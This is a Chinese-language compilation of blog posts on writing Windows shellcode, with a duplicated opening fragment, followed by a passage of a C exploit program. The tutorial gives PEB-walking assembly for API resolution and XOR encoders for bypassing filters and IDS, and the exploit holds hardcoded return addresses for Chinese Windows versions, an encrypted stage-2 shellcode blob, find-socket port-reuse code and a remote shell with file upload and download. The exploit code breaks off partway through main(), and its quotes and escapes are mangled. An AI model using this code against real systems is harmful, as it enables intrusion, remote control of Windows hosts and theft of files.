具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你
想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许
多。例如,这里有一个写好的模板:
void Shellcode
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}
}
然后在main()中用函数指针操作和memcmp定位shellcode,用pintf之类函数将shellcode打出来或保存即可。示
例代码略。纵观当前shellcode,大部分是由C完成的,因此,想来大家已经取舍完了吧?
⒉Shellcode代码地址定位,获取程序EIP,
为什么要获取EIP呢?原因是,我们需要我们的Shellcode能够执行,对病毒技术有了解的话,应该知道他们是怎么
定位的:利用CALL/POP来实现。
这里就不得不提到两种方法:JMP ESP和CALL/POP EBX。这是人们在对windows系统熟悉之后的方法,成功率非常
高。相信看过王炜兄的教程的朋友应该有印象吧。这里我就简单说一下。
我们的方法时通过Shellcode地址覆盖返回地址,在溢出后即可跳转到我们的代码中,以获取权限。而Shellcode
在内存中的地址并不固定,因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址
的间接跳转。这样有两个好处,一是不必准确定位Shellcode地址;二是可以防止strcpy对00字节的截断,因为DLL文
件中,地址一般为7FXXXXXX。具体细节,网上已有相关的东东,大家自己找来看看吧。
⒊Shellcode中的API地址定位。
Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让
Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE
文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我
们这里使用从进程PEB中获取,示例代码如下:
__asm
{
push ebp;
sub esp, 0x40;
mov ebp,esp;
push ebp;
mov eax, fs:0x30 ;PEB
mov eax, [eax + 0x0c] ;Ldr
mov esi, [eax + 0x1c] ;Flink
lodsd
mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址
&nb
篇6:Shellcode是什么 Shellcode技术杂谈
今天在查找关于shellcode的资料时,无意间看到的,感觉不错,分享给大家。
Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的
主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是
Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得
尤为重要。
小弟经过一段时间的修炼,自以为对Shellcode小有心得,故在这里写出来,博君一笑。不当之处,还请各位高人
不吝指教。
什么是Shellcode
我在这里简单讲一下什么是Shellcode。Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器
利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。
Shellcode编写考虑因素
Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但
Shellcode在编写过程中,有些问题是一致的:
⒈Shellcode的编写语言。
用什么语言编写最适合Shellcode呢?这个问题没有定论。一般采用的是C语言,速度较快,但是ASM更便于控制
Shellcode的生成。到底是快速编写还是完全控制呢?很难回答呢。
⒉Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中
⒊。Shellcode中使用的API地址定位。
⒋Shellcode编码问题。
⒌多态技术躲避IDS检测。
现在我们就来研究这些问题在处理时常用的方法。
Shellcode编写技术
⒈Shellcode编写语言
Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最
具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你
想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许
多。例如,这里有一个写好的模板:
void Shellcode()
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}
}
然后在main()中用函数指针操作和memcmp定位shellcode,用pintf之类函数将shellcode打出来或保存即可。示
例代码略。纵观当前shellcode,大部分是由C完成的,因此,想来大家已经取舍完了吧?
⒉Shellcode代码地址定位,获取程序EIP。
为什么要获取EIP呢?原因是,我们需要我们的Shellcode能够执行,对病毒技术有了解的话,应该知道他们是怎么
定位的:利用CALL/POP来实现。
这里就不得不提到两种方法:JMP ESP和CALL/POP EBX。这是人们在对windows系统熟悉之后的方法,成功率非常
高。相信看过王炜兄的教程的朋友应该有印象吧。这里我就简单说一下。
我们的方法时通过Shellcode地址覆盖返回地址,在溢出后即可跳转到我们的代码中,以获取权限。而Shellcode
在内存中的地址并不固定,因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址
的间接跳转。这样有两个好处,一是不必准确定位Shellcode地址;二是可以防止strcpy对00字节的截断,因为DLL文
件中,地址一般为7FXXXXXX。具体细节,网上已有相关的东东,大家自己找来看看吧。
⒊Shellcode中的API地址定位。
Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让
Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE
文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我
们这里使用从进程PEB中获取,示例代码如下:
__asm
{
push ebp;
sub esp, 0x40;
mov ebp,esp;
push ebp;
mov eax, fs:0x30 ;PEB
mov eax, [eax + 0x0c] ;Ldr
mov esi, [eax + 0x1c] ;Flink
lodsd
mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址
mov eax, [edi+3Ch] ;eax = PE首部
mov edx,[edi+eax+78h]
add edx,edi ;edx = 输出表地址
mov ecx,[edx+18h] ;ecx = 输出函数的个数
mov ebx,[edx+20h]
add ebx,edi ;ebx =函数名地址,AddressOfName
search:
dec ecx
mov esi,[ebx+ecx*4]
add esi,edi ;依次找每个函数名称
;GetProcAddress
mov eax,0x50746547
cmp [esi], eax; 'PteG'
jne search
mov eax,0x41636f72
cmp [esi+4],eax; 'Acor'
jne search
;如果是GetProcA,表示找到了
mov ebx,[edx+24h]
add ebx,edi ;ebx = 索引号地址,AddressOf
mov cx,[ebx+ecx*2] ;ecx = 计算出的索引号值
mov ebx,[edx+1Ch]
add ebx,edi ;ebx = 函数地址的起始位置,AddressOfFunction
mov eax,[ebx+ecx*4]
add eax,edi ;利用索引值,计算出GetProcAddress的地址
mov [ebp+40h], eax ;把GetProcAddress的地址存在 ebp+40中
接下来是使用GetProcAddress()和LoadLibraryA()获取其他需要函数了,和C没什么两样,略过了吧,很累呢,
⒋Shellcode的编码问题。
写过Shellcode的兄弟对这个应该恨熟吧?例如:strcpy函数中不能有0x00,RPC DOCM溢出时不能用0x5c等等。
因为假如有这些字符,会导致服务中断Shellcode,溢出失败。不同溢出对shellcode要求不同,当然需要精选字符来
达到目的,这样太累了些,简单点就是写一段代码,示例如下:
for(i=0;i ch=sc_buff^Enc_key;
//对可能字符进行替换
if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
{
buff='0';
++k;
ch+=0x31;
}
//将编码Code放在DecryptSc后
buff[k]=ch;
++k;
}
解码时代码 解码时代码,示例如下:
jmp next
getEncodeAddr:
pop edi
push edi
pop esi
xor ecx,ecx
Decrypt_lop:
loasb
cmp al,cl
jz shell
cmp al,0x30 //判断是否为特殊字符
jz specal_char_clean
store:
xor al,Enc_key
stosb
jmp Decrypt_lop
special_char_clean:
lodsb
sub al,0x31
jmp store
next:
call getEncodeAddr
这里只给了一个简单的例子,面对对Unicode编码有要求的,限于篇幅,这里就不详解了。
写在最后
编写调试Shellcode很是辛苦,但完成之后却有巨大的成就感。这里不是教你做EXP去害人,只是从研究角度出发,
让大家了解这种技术,从而加以防范,为网络和平安宁奉献自己的力量。最后,我附带了一个作为示例的Shellcode代
码,大家可以参考Sample.cpp来看看。
篇7:端口复用shellcode
硬盘里有很多使用各种各样的技巧来实现端口复用的shellcode,都是以前写的,翻出来一个比较矬的,贴到这里。想扩展的朋友可以自己改。 这个shellcode也可以很方便的扩展为写C/S类型的exploit模板
这是 stage1 shellcode。
怀旧shellcode系列就贴到此为止了,老是在blog上贴这种代码似乎没什么人看。
/*
author: axis@ph4nt0m.org
Team: Ph4nt0m Security Team(www.ph4nt0m.org)
Date:
*/
#include
#include
#include
#include
#pragma comment (lib,“ws2_32”)
struct OSTYPE
{
unsigned char ret[8];
char des[255];
};
OSTYPE os[] = {
{“xe1x1exfax7f”, “Windows CN ALL POP/POP/RET”},
{“x5ax21x01x78”, “Windows SP3/SP4 ALL POP/POP/RET msvcrt.dll”},
{“x12x45xfax7f”, “Windows CN JMPESP address from Chinese Ansi Code Page”},
{“x34x33x80x7c”, “Windows CN SP1 CALL EAX”},
{“x9fxd6xc1x77”, “WindowsXP CN SP2 JMP EAX”},
{“x41x42x43x44”, “Ret Addr For Test”}
};
#define POP_POP_RET “xfdx2ex92x7c” //pop ebp,pop ebx,ret xp sp2 cn
char Payload[400] = “”; //server.exe
#define Magic_Len 1102
// 1098 +4 = 1102 bytes put/get 文件传输,传输加密 Xor_key = 0x33
char magic_shellcode[] =
“axisx53xe9xd3x03x00x00x5fx64xa1x30x00x00x00x8bx40x0c”
“x8bx70x1cxadx8bx68x08x8bxf7x6ax0ex59xe8x73x03x00”
“x00xe2xf9x68x33x32x00x00x68x77x73x32x5fx54xffx16”
“x8bxe8x6ax0dx59xe8x5ax03x00x00xe2xf9x83xc4x08x5b”
“x89x5ex70x6ax01x6ax00x6ax0cx8bxdcx68xffx00x00x00”
“x53x8dx56x74x52x83xc2x04x52xffx56x0cx68x5cx30x00”
“x00x68x70x69x70x65x68x5cx5cx2ex5cx8bxfcx33xc0x50”
“x50x50x50x68xffx00x00x00x50x68x03x00x00x40x57xff”
“x56x10x89x86x80x00x00x00x33xc0x50x50x6ax03x53x50”
“x68x00x00x00x02x57xffx56x24x89x46x7cx68x63x6dx64”
“x00x8dx14x24x83xecx54x8bxfcx6ax14x59x33xc0x89x04”
“x8fxe2xfbxc6x47x10x44xfex47x3cxfex47x3dxffx76x78”
“x5bx89x5fx48xffx76x7cx5bx89x5fx4cx89x5fx50x8dx47”
“x10x57x50x51x51x51x6ax01x51x51x52x51xffx56x04xff”
“x37x8fx86x84x00x00x00xffx77x04x8fx86x88x00x00x00”
“xffx76x78xffx56x14xffx76x7cxffx56x14x83xc4x6cx33”
“xc0x50x6ax01x6ax01x50xffx56x18x89x86x8cx00x00x00”
“x33xdbx89x9exa4x00x00x00x89x86xa8x00x00x00xffx56”
“x58x89x86x90x00x00x00xc7x86x94x00x00x00x00x00x00”
“x00x6ax21xffxb6x90x00x00x00xffx76x70xffx56x5cx33”
“xc0x48x50x40x50x8dx9ex8cx00x00x00x53x6ax02xffx56”
“x1cx50x8dx9exf0x00x00x00x53xffxb6x90x00x00x00xff”
“x76x70xffx56x60x6ax00xffxb6x90x00x00x00xffx76x70”
“xffx56x5cx6ax00x54x68x7ex66x04x80xffx76x70xffx56”
“x64x58x59xe3x5cx49x0fx85xdbx00x00x00x6ax00x6ax40”
“x8dx96xf0x00x00x00x52xffx76x70xffx56x50x8dx96xf0”
“x00x00x00x50x59xe8xe2x01x00x00x81xbexf0x00x00x00”
“x67x65x74x20x0fx84xe4x00x00x00x81xbexf0x00x00x00”
“x70x75x74x20x0fx84x43x01x00x00x6ax00x8dx9exacx00”
“x00x00x53x50x8dx9exf0x00x00x00x53xffx76x74xffx56”
“x2cx8bx8ex94x00x00x00xe3x1dx50x8dx9exacx00x00x00”
“x53x8dx9ex98x00x00x00x53xffxb6x80x00x00x00xffx56”
“x20x91xe3x63xebx2ex8dx9ex98x00x00x00x53x8dx9exac”
“x00x00x00x53x6ax40x8dx9exb0x00x00x00x53xffxb6x80”
“x00x00x00xffx56x28xffx86x94x00x00x00x85xc0x0fx84”
“xfdxfexffxffx8dx96xb0x00x00x00xffxb6xacx00x00x00”
“x59xe8x46x01x00x00xffx8ex94x00x00x00x6ax00x8bx9e”
“xacx00x00x00x53x8dx9exb0x00x00x00x53xffx76x70xff”
“x56x54xe9xcaxfexffxffxffxb6x84x00x00x00xffx56x08”
“xffxb6x84x00x00x00xffxb6x88x00x00x00xffxb6x80x00”
“x00x00xffx76x74xffx56x14xffx56x14xffx56x14xffx56”
“x14xffx76x70xffx56x68x33xc0x48x50xffx56x08xc6x84”
“x06xefx00x00x00x00x8dx96xf4x00x00x00x33xc0x50x50”
“x6ax03x50x50x68x00x00x00x02x52xffx56x24x89x46x7c”
“x6ax00x8dx96xacx00x00x00x52x6ax40x8dx96xb0x00x00”
“x00x52xffx76x7cxffx56x28x8bx8exacx00x00x00xe3x22”
“x8dx96xb0x00x00x00xe8xa1x00x00x00x6ax00xffxb6xac”
“x00x00x00x8dx96xb0x00x00x00x52xffx76x70xffx56x54”
“xebxbexffx76x7cxffx56x14xe9x24xfexffxffxc6x84x06”
“xefx00x00x00x00x8dx96xf4x00x00x00x33xc0x50x50x6a”
“x02x50x50x68x00x00x00x02x52xffx56x24x89x46x7cx6a”
“x00x6ax40x8dx96xb0x00x00x00x52xffx76x70xffx56x50”
“x8dx96xb0x00x00x00x50x59xe8x3fx00x00x00x6ax00x8d”
“x96xacx00x00x00x52x50x8dx96xb0x00x00x00x52xffx76”
“x7cxffx56x2cx6ax00x54x68x7fx66x04x40xffx76x70xff”
“x56x64x59xe3x02xebxb8xffx76x7cxffx56x14xc6x86xf0”
“x00x00x00x0ax6ax01x58xe9x3exfexffxffx4ax80x34x0a”
“x33xe2xfaxc3x51x56x8bx75x3cx8bx74x2ex78x03xf5x56”
“x8bx76x20x03xf5x33xc9x49x41xadx03xc5x33xdbx0fxbe”
“x10x3axd6x74x08xc1xcbx07x03xdax40xebxf1x3bx1fx75”
“xe7x5ex8bx5ex24x03xddx66x8bx0cx4bx8bx5ex1cx03xdd”
“x8bx04x8bx03xc5xabx5ex59xc3xe8x28xfcxffxffx32x74”
“x91x0cxc9xbcxa6x6bx8fxf2x18x61x4ax79x19x7axa8x4b”
“x60x9ex57x66x0dxffx76x91x4dx6dx88x58xb3xacx8ax87”
“x66x62x93x32xe4x94xb2x36x0fx13xc4x8dx1fx74xd3x88”
“x28x49xa0x65x97xcbx3dx6axb4x80x2dx32x78xdex98xc4”
“xb9xdex64x10xa7xddx0cx9fxd3x4bxb1x1ex97x01x76x90”
“x97xc7x64x98x97xddx96xd5xd5xa8x9cx07xdcx5axd8x10”
“x27xa7x52x83xe9xeax4cx0fx29xd1”;
//char Payload[1600] = “”; //server_big.exe
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
unsigned char sh_Buff[2048]; // recv real shellcode
unsigned int sh_Len;
unsigned int Enc_key=0x99; //其实无关紧要,动态寻找
#define Xor_key 0x33 //加密传输
unsigned char decode1[] =
/*
00401004 . /EB 0E JMP SHORT encode.00401014
00401006 $ |5B POP EBX
00401007 . |4B DEC EBX
00401008 . |33C9 XOR ECX,ECX
0040100A . |B1 FF MOV CL,0FF
0040100C > |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99
00401010 .^|E2 FA LOOPD SHORT encode.0040100C
00401012 . |EB 05 JMP SHORT encode.00401019
00401014 > E8 EDFFFFFF CALL encode.00401006
*/
“xEBx0Ex5Bx4Bx33xC9xB1”
“xFF” // shellcode size
“x80x34x0B”
“x99” // xor byte
“xE2xFAxEBx05xE8xEDxFFxFFxFF”;
unsigned
char decode2[] =
/* ripped from eyas
00406030 /EB 10 JMP SHORT 00406042
00406032 |5B POP EBX
00406033 |4B DEC EBX
00406034 |33C9 XOR ECX,ECX
00406036 |66:B9 6601 MOV CX,166
0040603A |80340B 99 XOR BYTE PTR DS:[EBX+ECX],99
0040603E ^|E2 FA LOOPD SHORT 0040603A
00406040 |EB 05 JMP SHORT 00406047
00406042 E8 EBFFFFFF CALL 00406032
*/
“xEBx10x5Bx4Bx33xC9x66xB9”
“x66x01” // shellcode size
“x80x34x0B”
“x99” // xor byte
“xE2xFAxEBx05xE8xEBxFFxFFxFF”;
// kernel32.dll functions index
#define _LoadLibraryA 0x00
#define _WaitForSingleObjectEx 0x04
#define _Sleep 0x08
// ws2_32.dll functions index
#define _recv 0x0c
#define _ioctlsocket 0x10
// functions number
#define _Knums 3
#define _Wnums 2
// Need functions
unsigned char functions[100][128] =
{
// kernel32
{“LoadLibraryA”},
{“WaitForSingleObjectEx”},
{“Sleep”},
// ws2_32
{“recv”},
{“ioctlsocket”},
{“”},
};
void PrintSc(unsigned char *lpBuff, int buffsize);
void ShellCode;
// Get function hash
unsigned long hash(unsigned char *c)
{
unsigned long h=0;
while(*c)
{
h = ( ( h << 25 ) | ( h >> 7 ) ) + *c++;
}
return h;
}
// get shellcode
void GetShellCode()
{
char *fnbgn_str=“x90x90x90x90x90x90x90x90x90”;
char *fnend_str=“x90x90x90x90x90x90x90x90x90”;
unsigned char *pSc_addr;
unsigned char pSc_Buff[1024];
unsigned int MAX_Sc_Len=0x2000;
unsigned long dwHash[100];
unsigned int dwHashSize;
unsigned int l,i,j,k;
// Get functions hash
for (i=0;;i++) {
if (functions[i][0] == 'x0') break;
dwHash[i] = hash(functions[i]);
//fprintf(stderr, “%.8Xt%sn”, dwHash[i], functions[i]);
}
dwHashSize = i*4;
// Deal with shellcode
pSc_addr = (unsigned char *)ShellCode;
for (k=0;k
if(memcmp(pSc_addr+k,fnbgn_str, 8)==0) {
break;
}
}
pSc_addr+=(k+8); // start of the ShellCode
for (k=0;k
if(memcmp(pSc_addr+k,fnend_str, 8)==0) {
break;
}
}
sh_Len=k; // length of the ShellCode
memcpy(pSc_Buff, pSc_addr, sh_Len);
// Add functions hash
memcpy(pSc_Buff+sh_Len, (unsigned char *)dwHash, dwHashSize);
sh_Len += dwHashSize;
printf(“%d bytes shellcoden”, sh_Len);
// print shellcode
PrintSc(pSc_Buff, sh_Len);
// find xor byte
for(i=0xff; i>0; i--)
{
l = 0;
for(j=0; j
{
if (
// ((pSc_Buff[j] ^ i) == 0x26) || //%
// ((pSc_Buff[j] ^ i) == 0x3d) || //=
// ((pSc_Buff[j] ^ i) == 0x3f) || //?
((pSc_Buff[j] ^ i) == 0x40) || //@
((pSc_Buff[j] ^ i) == 0x00) ||
((pSc_Buff[j] ^ i) == 0x0D) ||
((pSc_Buff[j] ^ i) == 0x3c) || // <
((pSc_Buff[j] ^ i) == 0x3e) || // >
((pSc_Buff[j] ^ i) == 0x2a) || // *
((pSc_Buff[j] ^ i) == 0x3a) || // :
((pSc_Buff[j] ^ i) == 0x20) || // 空格
((pSc_Buff[j] ^ i) == 0x22) || // “
((pSc_Buff[j] ^ i) == 0x0A) ||
((pSc_Buff[j] ^ i) == 0x2F) || // /
((pSc_Buff[j] ^ i) == 0x5C) // ”“
)
{
l++;
break;
};
}
if (l==0)
{
Enc_key = i;
//printf(”Find XOR Byte: 0x%02Xn“, i);
for(j=0; j
{
pSc_Buff[j] ^= Enc_key;
}
break; // break when found xor byte
}
}
// No xor byte found
if (l!=0){
//fprintf(stderr, ”No xor byte found!n“);
sh_Len = 0;
}
else {
//fprintf(stderr, ”Xor byte 0x%02Xn“, Enc_key);
// encode
if (sh_Len > 0xFF) {
*(unsigned short *)&decode2[8] = sh_Len;
*(unsigned char *)&decode2[13] = Enc_key;
memcpy(sh_Buff, decode2, sizeof(decode2)-1);
memcpy(sh_Buff+sizeof(decode2)-1, pSc_Buff, sh_Len);
sh_Len += sizeof(decode2)-1;
}
else {
*(unsigned char *)&decode1[7] = sh_Len;
*(unsigned char *)&decode1[11] = Enc_key;
memcpy(sh_Buff, decode1, sizeof(decode1)-1);
memcpy(sh_Buff+sizeof(decode1)-1, pSc_Buff, sh_Len);
sh_Len += sizeof(decode1)-1;
}
}
}
// print shellcode
void PrintSc(unsigned char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];
fprintf(stderr, ”/* %d bytes */n“,buffsize);
for(i=0;i
{
if((i%16)==0)
if(i!=0)
fprintf(stderr, ”“n”“);
else
fprintf(stderr, ”“”);
sprintf(msg,“\x%.2X”,lpBuff[i]&0xff);
for( p = msg, j=0; j < 4; p++, j++ )
{
if(isupper(*p))
fprintf(stderr, “%c”, _tolower(*p));
else
fprintf(stderr, “%c”, p[0]);
}
}
fprintf(stderr, “”;n“);
}
// recv real shellcode function
void ShellCode()
{
__asm{
PROC_BEGIN //C macro to begin proc
jmp locate_addr
func_start:
pop edi ; get eip
mov eax, fs:30h
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8] ; base address of kernel32.dll
mov esi, edi
push _Knums
pop ecx
GetKFuncAddr: ; find functions from kernel32.dll
call find_hashfunc_addr
loop GetKFuncAddr
push 3233h
push 5F327377h ; ws2_32
push esp
call dword ptr [esi+_LoadLibraryA]
mov ebp, eax ; base address of ws2_32.dll
push _Wnums
pop ecx
GetWFuncAddr: ; find functions from ws2_32.dll
call find_hashfunc_addr
loop GetWFuncAddr
//find_s:
xor ebx, ebx
push 1000 ; sleep to wait for character send
call dword ptr [esi+_Sleep] ; maybe it is necessary in real internet
sub esp, 2000 ;在栈里分配空间,这里是2000 放在loop前比较稳定
mov edi, esp ; 把edi指过来
find_s_loop:
inc ebx ; socket
push 1
push 10
push ebx
call dword ptr [esi+_WaitForSingleObjectEx]
test eax, eax ; ensure ebx is socket
jnz find_s_loop
push 0
push esp ; 指向命令参数的指针,这里最好找个为内容空的地址,
push 4004667Fh ; FIONREAD
push ebx ;socket
call dword ptr [esi+_ioctlsocket]
pop ecx ; ensure this socket have 4 bit to read
cmp ecx, Magic_Len
jne find_s_loop
push 0
push Magic_Len ;shellcode recv的长度
push edi ;shellcode 要写入的地址,这里在栈里
push ebx
call dword ptr [esi+_recv]
mov esp, edi
pop eax
cmp eax, 73697861h ; recieve ”axis“?
jnz find_s_loop
jmp esp ;直接jmp esp去执行我们的shellcode,因为前面的axis四字节,这里shellcode起址正好是esp
// int 3 //0xcc 调试shellcode用
find_hashfunc_addr:
push ecx
push esi
mov esi, [ebp+3Ch] ; e_lfanew
mov esi, [esi+ebp+78h] ; ExportDirectory RVA
add esi, ebp ; rva2va
push esi
mov esi, [esi+20h] ; AddressOfNames RVA
add esi, ebp ; rva2va
xor ecx, ecx
dec ecx
find_start:
inc ecx
lodsd
add eax, ebp
xor ebx, ebx
hash_loop:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short find_addr
ror ebx, 7 ; hash
add ebx, edx
inc eax
jmp short hash_loop
find_addr:
cmp ebx, [edi] ; compare to hash
jnz short find_start
pop esi ; ExportDirectory
mov ebx, [esi+24h] ; AddressOfNameOrdinals RVA
add ebx, ebp ; rva2va
mov cx, [ebx+ecx*2] ; FunctionOrdinal
mov ebx, [esi+1Ch] ; AddressOfFunctions RVA
add ebx, ebp ; rva2va
mov eax, [ebx+ecx*4] ; FunctionAddress RVA
add eax, ebp ; rva2va
stosd ; function address save to [edi]
pop esi
pop ecx
retn
locate_addr:
call func_start
PROC_END //C macro to end proc
}
}
void Make_Payload(int q)
{
// server.exe
memset(Payload, 0x90, sizeof(Payload)-1);
memcpy(Payload + 52, &os[q].ret, 4);
strcpy(Payload + 56, (const char *)sh_Buff);
memcpy(Payload + 56 + strlen((const char *)sh_Buff), ”x90“, 1); //为了填充strcpy shellcode后所造成的x00
/*
//server_big.exe jmp esp
memset(Payload, 0x90, sizeof(Payload)-1);
memcpy(Payload + 1204, &os[q].ret, 4);
strcpy(Payload + 1208, (const char *)sh_Buff);
memcpy(Payload + 1208 + strlen((const char *)sh_Buff), ”x90“, 1);
*/
/*
// server_big.exe overwrite esp+8 (seh)
// server_big.exe 覆盖 SEH
memset(Payload, 0x90, sizeof(Payload)-1);
memcpy(Payload + 1204, POP_POP_RET, 4); //覆盖 eip pop/pop/ret
memcpy(Payload + 1208, &os[q].ret, 4); // 覆盖 esp
memcpy(Payload + 1212, &os[q].ret, 4); // 覆盖 esp+4
memcpy(Payload + 1216, &os[q].ret, 4); // 覆盖 SEH jmp esp
// memcpy(Payload + 1220, ”x00“, 1);
strcpy(Payload + 1220, (const char *)sh_Buff);
memcpy(Payload + 1220 + strlen((const char *)sh_Buff), ”x90“, 1);
*/
PrintSc((unsigned char *)Payload, sizeof(Payload));
}
// ripped from isno
int Make_Connection(char *address,int port,int timeout)
{
struct sockaddr_in target;
SOCKET s;
int i;
DWORD bf;
fd_set wd;
struct timeval tv;
s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
target.sin_family = AF_INET;
target.sin_addr.s_addr = inet_addr(address);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctlsocket(s,FIONBIO,&bf);
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
closesocket(s);
return -3;
}
if(i==0)
{
closesocket(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
closesocket(s);
return -5;
}
ioctlsocket(s,FIONBIO,&bf);
return s;
}
void xor_buf(unsigned char *buf, int size)
{
int i;
for (i=0; i
buf[i] ^= Xor_key;
}
return;
}
/* ripped from TESO code and modifed by ey4s for win32 */
void shell (int sock)
{
int l,i,size=0,get_size=0;
char buf[1024];
char filename[128];
HANDLE hFile;
fd_set FdRead;
struct timeval time;
unsigned long ul[2];
time.tv_sec = 1;
time.tv_usec = 0;
while (1)
{
ul[0] = 1;
ul[1] = sock;
l = select (0, (fd_set *)&ul, NULL, NULL, &time);
if(l==1)
{
l = recv (sock, buf, sizeof (buf), 0);
if (l <= 0)
{
printf (”[-] Connection closed.n“);
return;
}
xor_buf((unsigned char *)buf, l);
l = write (1, buf, l);
if (l <= 0)
{
printf (”[-] Connection closed.n“);
return;
}
}
else
{
l = read (0, buf, sizeof (buf));
if (l <= 0)
{
printf(”[-] Connection closed.n“);
return;
}
xor_buf((unsigned char *)buf, l);
l = send(sock, buf, l, 0);
if (l <= 0)
{
printf(”[-] Connection closed.n“);
return;
}
xor_buf((unsigned char *)buf, l);
//+--------------------------------------------
// get xxx download xxx
// put xxx upload xxx
//+--------------------------------------------
if (strncmp(buf, ”get“, 3) == 0)
{
// obtain filename
buf[l-1] = 0;
for (i=l;i>0;i--) {
if (buf[i] == '\' || buf[i] == ' ') {
break;
}
}
strncpy(filename, buf+i+1, l-i-1);
hFile = CreateFile(
filename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_ARCHIVE,
(HANDLE)NULL
);
if ( hFile == INVALID_HANDLE_VALUE ) {
printf(”Create File %s Error!n“, filename);
continue;
}
size = 0;
FD_ZERO(&FdRead);
FD_SET(sock, &FdRead);
for (;;) {
l = recv(sock, buf, sizeof(buf), 0);
xor_buf((unsigned char *)buf, l);
WriteFile(hFile, buf, l, (unsigned long *)&i, NULL);
size += i;
l = select (0, &FdRead, NULL, NULL, &time);
if (l != 1) {
memset(buf, 0x0a, 1);
xor_buf((unsigned char *)buf, 1);
l = send(sock, buf, 1, 0);
break;
}
}
printf(”Download remote file %s (%d bytes)!n“, filename, size);
CloseHandle(hFile);
}
else if (strncmp(buf, ”put“, 3) == 0)
{
Sleep(1000);
// obtain filename
buf[l-1] = 0;
for (i=l;i>0;i--) {
if (buf[i] == '\' || buf[i] == ' ') {
break;
}
}
strncpy(filename, buf+i+1, l-i-1);
// open file
hFile = CreateFile(
filename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_ARCHIVE,
(HANDLE)NULL
);
if ( hFile == INVALID_HANDLE_VALUE ) {
printf(”Open File %s Error!n“, filename);
continue;
}
size = 0;
// read file and send
for (;;)
{
ReadFile(hFile, buf, 1024, (unsigned long *)&i, NULL);
if (i == 0)
{
break;
}
xor_buf((unsigned char *)buf, i);
l = send(sock, buf, i, 0);
size += l;
}
printf(”Upload remote file %s (%d bytes)...“, filename, size);
l = recv (sock, buf, sizeof (buf), 0);
xor_buf((unsigned char *)buf, l);
l = write (1, buf, l);
CloseHandle(hFile);
}
}
}
}
void Disconnect(SOCKET s)
{
closesocket(s);
WSACleanup();
}
void help(char *n)
{
printf(”+--------------------------------------------------------+n“);
printf(” Reuse port (Find Sock) Exploit by axis@ph4nt0mn“);
printf(” Ver 1.0 Please Keep it Private!n“);
printf(”+--------------------------------------------------------+n“);
printf(” Usage:n“);
printf(” %s [Target IP] [Target Port] [OSType]nn“, n);
printf(” == OSType:n“);
printf(” 0. Windows CN ALL SP1 POP/POP/RET n“);
printf(” 1. Windows2000 SP3/SP4 ALL POP/POP/RETn“);
printf(” 2. Windows CN ALL JMP ESP from ansi pagen“);
printf(” 3. Windows2003 CN SP1 CALL EAXn“);
printf(” 4. WindowsXP CN SP2 JMP EAXn“);
printf(” 5. TEST RETn“);
}
int main(int argc, char *argv[])
{
unsigned short port = 25;
SOCKET s;
WSADATA WSAData;
if(argc != 4)
{
help(argv[0]);
return 0;
}
if(argc == 4) port = atoi(argv[2]);
GetShellCode();
if (!sh_Len)
{
printf(”[-] Shellcode generate error.n“);
exit(1);
}
